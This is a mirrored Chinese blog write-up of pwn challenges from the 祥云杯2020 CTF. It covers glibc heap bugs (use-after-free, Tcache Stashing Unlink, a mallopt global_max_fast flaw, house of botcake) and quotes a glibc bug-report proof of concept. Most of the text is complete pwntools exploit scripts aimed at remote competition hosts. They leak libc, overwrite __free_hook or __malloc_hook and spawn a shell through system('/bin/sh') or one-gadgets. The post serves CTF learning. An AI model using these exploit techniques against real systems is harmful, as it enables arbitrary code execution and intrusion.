10

祥云杯2020CTF部分pwn wp

 3 years ago
source link: http://chumen77.xyz/2020/11/23/%E7%A5%A5%E4%BA%91%E6%9D%AF2020CTF%E9%83%A8%E5%88%86pwn%20wp/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

祥云杯2020CTF部分pwn wp

Beauty_Of_ChangChun

  • del函数中存在uaf的漏洞,且只对byte位的size清0,0x100的chunk不受影响
  • 存在后门函数

开始程序就把flag读入了一个特定的内存中,并且后门函数中,只需确定flag字符串前8位字节的具体值即可拿到flag。所以可以用Tcache Stashing Unlink ,往flag 前的8位写上main arean附近的地址。并且可以泄漏libc,算下偏移,所以也就知道了其写上的数值,然后就调用后门函数获得flag。具体思路可以看下方exp。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('112.126.71.170',43652)

    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add(size):
    sla("4: Enjoy scenery\n",'1')
    sla('size',str(size))

def free(idx):
    sla("4: Enjoy scenery\n",'2')
    sla('idx',str(idx))

def edit(idx,data):
    sla("4: Enjoy scenery\n",'3')
    sla('idx',str(idx))
    sa('chat',str(data))

def show(idx):
    sla("4: Enjoy scenery\n",'4')
    sla('idx',str(idx))

ru('le\n')
flag = int(r(12),16) 
info_addr('flag',flag)
for i in range(6):
    add(0x80)
    free(0)
for i in range(7):
    add(0xff)
    free(0)
add(0x100)
add(0x80)
add(0x100)
free(1)
add(0x90)
free(0)
free(2)
show(2)
ru('see\n')
heap = uu64(r(6))
info_addr('heap',heap)
show(0)
ru('see\n')
fd = uu64(r(6))

libcbase = fd -0x1ebbe0
info_addr('fd',fd)
info_addr('libcbase',libcbase)
sla("4: Enjoy scenery\n",'666')# 
sla("4: Enjoy scenery\n",'5')
sl('aaaaaaa')
edit(2,p64(heap) + p64(flag-0x10))
free(1)
add(0x100)
edit(0,p64(libcbase + 0x1ebce0))
sla("4: Enjoy scenery",'5')
sla('idx','1')
itr()

分析程序,发现漏洞点肯定在mallopt函数上。但是不怎么熟悉,就开始谷歌这个函数相关的漏洞,审计libc源码。

最终发现一个漏洞报告。
https://www.cygwin.com/bugzilla/show_bug.cgi?id=25733

在libc 2.23中,mallopt(M_MXFAST) can set global_max_fast to 0
就出现了漏洞。

// mallopt(M_MXFAST) can set global_max_fast to 0.

// This doesn't seem intentional because mallopt(M_MXFAST, 0) sets global_max_fast to SMALLBIN_WIDTH.

// Passing a value between 1-7 to mallopt(M_MXFAST, value) sets global_max_fast to 0.

// Both malloc.c and the mallopt man page document the legitimate range of values that may be passed to mallopt(M_MXFAST, value) as "0 to 80*sizeof(size_t)/4".

// In GLIBC versions >= 2.27 this has the same effect as setting global_max_fast to SMALLBIN_WIDTH, but it is perhaps of some concern in GLIBC versions <= 2.26 because of how global_max_fast is treated as an indicator of main arena initialization by malloc_consolidate().

// If the following example is compiled & run under GLIBC version 2.26, a chunk is allocated overlapping the main arena:


// 这似乎不是故意的,因为mallopt(M_MXFAST,0)将global_max_fast设置为SMALLBIN_WIDTH。

// 将1-7之间的值传递给mallopt(M_MXFAST,value)会将global_max_fast设置为0。

// malloc.c和mallopt手册页都记录了可以传递给mallopt(M_MXFAST,value)的合法值范围,范围为“ 0到80 * sizeof(size_t)/ 4”。

// 在> = 2.27的GLIBC版本中,其效果与将global_max_fast设置为SMALLBIN_WIDTH相同,
// 但是在<= 2.26的GLIBC版本中,这可能会引起一些关注,
// 但在GLIBC版本<= 2.26中,这可能会引起一些关注,
// 因为malloc merge()将全局max fast视为主竞技场初始化的指示符。

// 如果以下示例是在GLIBC版本2.26下编译并运行的,则分配的块与主区域重叠
#include <stdio.h>

#include <stdlib.h>
#include <malloc.h>

int main() {

    // Populate last_remainder, which is treated as the top chunk size field
    // after main arena re-initialization.
    // 填充last_remainder,将其视为最大块大小字段
   // 主竞技场重新初始化之后。
    void* remainder_me = malloc(0x418);
    malloc(0x18); 
    // Avoid top chunk consolidation.
    free(remainder_me);
    malloc(0x18); 
    // Remainder remainder_me chunk.
    // Set global_max_fast to 0.
    mallopt(M_MXFAST, 7);
    // Trigger malloc_consolidate(), which could happen during large
    // allocations/frees, but for the sake of simplicity here just call
    // mallopt() again.
    mallopt(M_MXFAST, 0x78);
    // malloc_consolidate() uses global_max_fast to determine if malloc has
    // been initialized. If global_max_fast is 0, malloc_consolidate() will
    // re-initialize the main arena, setting its top chunk pointer to an address
    // within the main arena. Now last_remainder acts as the top chunk size
    // field.
    printf("%p\n", malloc(0x418));
    return 0;
}

发现的确存在这样的漏洞。

Mr6g3B.png

因为其最后申请的堆回跑到libc上,并且发现其在free hook 的上面。
那么在尽量不破坏libc 上内存的情况下,一直的申请内存,肯定改到free hook。

#!/usr/bin/env python
# encoding: utf-8
# icqaa6603da5d8063707dd74952c7daf
from pwn import *
import time
local_file  = './ba_zui_bi_shang'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('112.126.71.170',23548)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
one_gadgets = [0x45226,0x4527a,0xf0364,0xf1207]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add_name(size,data):
    sla('> ','1')
    sla('> ',str(size))
    sla('> ',str(data))

def free():
    sla('> ','2')

def mallopt(param_number,value):
    sla('> ','3')
    sla('> ',str(param_number))
    sla('> ',str(value))


def add(size,data):
    sla('> ','4')
    sla('> ',str(size))
    sla('> ',str(data))


ru('0x')
libcbase = int(r(12),16) - libc.symbols['puts']
info_addr('libc',libcbase)
# debug()
ru('> ')
sl(str(0x418))
ru('> ')
io.send('\n')
add_name(0x18,'chumen77\n')
free()
add_name(0x18,'chumen77\n')
mallopt(1,7)
# debug()
mallopt(1,0x78)
add(0x418,'\n')
add(0x418,'\n')
add(0x418,'\n')
add(0x418,'\n')
add(0x418,'\n')
add(0x418,'\n')
add(0x418,'/bin/sh\x00' + '\x00'*0x358 + p64(libc.symbols['system']+libcbase))
# debug()
free()
itr()
f ( !glob(pattern, 4098, 0LL, &pglob) )
globfree(&pglob);

可以用这个函数来创建出一个巨大的unsorted bin,接着申请chunk上去即可泄漏出libc,然后就是fastbin attack,攻击malloc hook,最后需要free 2次同一个chunk,触发异常机制,然后再次调用malloc触发到one gadget

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './ying_liu_zhi_zhu'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('112.126.71.170',45123)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45226,0x4527a,0xf0364,0xf1207]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def add():
    sl('1')

def free(idx):
    sl('2')
    sl(str(idx))

def edit(idx,data):
    sl('3')
    sl(str(idx))
    s(str(data))
def show(idx):
    sl('4')
    sl(str(idx))
def b(data):
    sl('5')
    sl(str(data))


# add()
b(b'*/lib*')  #0x3c4ce8
# b(b'*') #0x3c4b78
add() #0
add()
add()
add()
add() #4
show(1)
libcbase = uu64(r(6)) - 0x3c4ce8
info_addr('libc',libcbase)
free(1)
edit(1,p64(libcbase+0x3c4aed))
add()
add()
one = 0xf0364 + libcbase
realloc = libcbase + libc.symbols['realloc'] + realloc[4]
payload = '\x00' *3 + p64(0)  + p64(one)+ p64(realloc)
edit(6,payload)
free(0)
free(0)

itr()

babypwn

c++的程序代码看起来比较的乱,直接上手进行调试。
发现在init create init 这样的顺序执行后,程序就变得诡异起来,并没把重要的指针转移到新init来的内存块来使用,而是还是使用原来init开起来虚表指针,由于其大小是0x90的chunk,接着可以实现泄漏。

FaLGv4.png

如图,控制这两个指针就可以任意地址读和写。然后再次申请0x8f的堆块,set一下即可控制这2个指针。
3gVHpF.png

然后改写到free hook,再次create函数其会free 原来的chunk,即可触发one gadget。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('8.131.69.237',52642)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45226,0x4527a,0xf0364,0xf1207]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()

def init():
    sla('ice:','1')

def create():
    sla('ice:','2')

def add(size):
    sla('ice:','3')
    sla('size',str(size))
def set(data):
    sla('ice:','4')
    sa('tent',str(data))

def show():
    sla('ice:','5')

def size():
    sla('ice:','6')

init()
create()
# add(0x8f)
init()
show()
ru('ow:\n')
libc_base = uu64(r(6)) - 0x3c4b78
info_addr('libc',libc_base)


add(0x80)
set(p64(0x3c67a8 +libc_base) + p64(0x3c67a8 + libc_base))
set(p64(rce16[3] + libc_base)*4 + p64(0)*7)
create()
# debug()
itr()

garden

  • steal tree函数存在uaf

研究程序逻辑后,发现基本就是house_ of_ botcake的进阶利用版。

所以核心思路就是 house of botcake,但是由于没有能够申请更大的chunk来利用,所以需要用进tcache的chunk来做padding chunk,然后用name那个函数的malloc 0x20,切割一下生成的unsortedbin。

接着就简单了,也就是释放完heap无用残余指针,然后多次申请,和适当的free堆,来改unsortbin上重叠tcache的堆头,来实现tcache attack,接着打free hook。

#!/usr/bin/env python
# encoding: utf-8
from pwn import *
import time
local_file  = './pwn'
elf = ELF(local_file)
context.log_level = 'debug'
debug = 0
if debug:
    io = process(local_file)
    libc = elf.libc
else:
    io = remote('8.131.69.237',32452)
    libc = elf.libc
    #libc = ELF('.')
context.arch = elf.arch
context.terminal = ['tmux','neww']
#,''splitw','-h'
rce16 = [0x45216,0x4526a,0xf02a4,0xf1147]
rce18 = [0x4f2c5,0x4f322,0x10a38c]
realloc = [0x2,0x4,0x6,0xB,0xC,0xD]
arae16 = 0x3c4b78
arae18 = 0x3ebca0
s      = lambda data               :io.send(data) 
sa      = lambda delim,data         :io.sendafter(delim, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda delim,data         :io.sendlineafter(delim, data)
r      = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, '\0'))
uu64    = lambda data               :u64(data.ljust(8, '\0'))
info_addr = lambda tag, addr        :io.info(tag + '==>' +': {:#x}'.format(addr))
itr     = lambda                    :io.interactive()
def debug():
    # gdb.attach(proc.pidof(io)[0],gdbscript='b main')
    gdb.attach(io)
    pause()


def add(idx,data):
    sla('>','1')
    sla('dex?',str(idx))
    sa('name',str(data))

def free(idx):
    sla('>','2')
    sla('dex',str(idx))

#  only one
def show(idx):
    sla('>','3')
    sla('dex?\n',str(idx))
def steal(idx):
    sla('>','5')
    sla('tree',str(idx))
def name():
    sla('>','6')


for i in range(7):
    add(i,'chumen77')

add(7,'chumen77')
add(8,'chumen77')
# name()
for i in range(5):
    free(i)
free(8)
free(5)
steal(7)
free(6)
show(7)
# r()
#  p/x 0x00007fd1efd50ca0 - 0x00007fd1efb6c000
libcbase = uu64(r(6)) - 0x1e4ca0
info_addr('libc',libcbase)
add(0,'chumen77')
free(7)
name()
free(0)
# debug()
for i in range(7):
    add(i,'chumen77')
add(7,'chumen77')
# free(0)
add(8,'chumen77')
free(0)
free(8)
__malloc_hook = 0x1e4c30
__free_hook = 0x1e75a8
one = p64(0x52fd0+libcbase)
payload = 0xd0 * '\x00' + p64(0) + p64(0x111) + p64(0x1e75a8 + libcbase)
add(8,payload)
for i in range(7):
    free(7-i+2)
free(1)
free(2)

for i in range(6):
    add(i,'chumen77')

add(7,'chumen77')
add(8,one)
add(6,'/bin/sh\x00')
free(6)
# debug()
itr()

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK